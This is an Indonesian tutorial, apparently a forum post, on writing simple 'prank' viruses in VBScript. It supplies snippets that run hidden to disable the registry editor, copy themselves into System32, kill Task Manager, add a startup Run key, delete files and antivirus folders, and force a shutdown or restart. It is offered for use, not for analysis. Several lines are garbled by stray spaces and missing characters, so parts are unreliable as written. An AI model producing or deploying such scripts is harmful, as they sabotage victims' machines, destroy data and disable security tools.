Tutorial Bikin Viruz sederhana,untuk isenk

[Tut]Bikin Viruz sederhana,untuk isenk(hati2,,,ada jga yang berbahaya)

1.mendisable registry

1.Masuk Notepad kemudian tulis script di bawah ini :
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\poli cies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide
sebenarnya banyak cara untuk mendisable regedit. misalnya kayak gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT _USER\software\microsoft\windows\currentversion\po licies\systemdisableregistrytools", 1, "REG_DWORD"
2.save dengan nama yang kmska.vbs

2.Membuat Virus yang Dapat Mengopykan Diri Ke Derektory Lain

Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfil e wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary
2.simpan dengan nama yg km ska.vbs

3.Membuat Virus Pembunuh Proses

Masuk Notepad kemudian tulis script di bawah ini :
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide
2.save eksistensinya vbs

4.Menjalankan Virus Pada Saat Startup Atau Saat Windows Dihidupkan

On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\Curr entVersion\Run\virus"
, "c:\windows\system32\virus.vbs"
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)
2.simpan dalam bentuk eksistensi reg(caranya sma ama vbs)

5.Membuat Virus Yang Dapat Menghapus File/Folder

Masuk Notepad kemudian tulis script di bawah ini, agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)
Contoh :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe”
hapus.DeleteFolder “C:\antivirus”
Simpan script tersebut dalam bentuk file.vbs, misal: virusdeleted.vbs

6.Membuat Virus Yang Dapat Merestart Windows

Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
merestart windows dalam waktu 60 sekon
Simpan script tersebut dalam bentuk file.vbs, misal: virusrestart.vbs

7.Membuat Virus Yang Dapat Men-Shutdown Dan Merestart Windows

Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("WScript.Shell").run "shutdown -s -f -t 60", vbhide
Mematikan windows dalam waktu 60 sekon
“shutdown -s -f -t 60"
S = untuk shutdown dan

R = untuk reboot\restart
Simpan script tersebut dalam bentuk file.vbs, misal : virusshutdown.vbs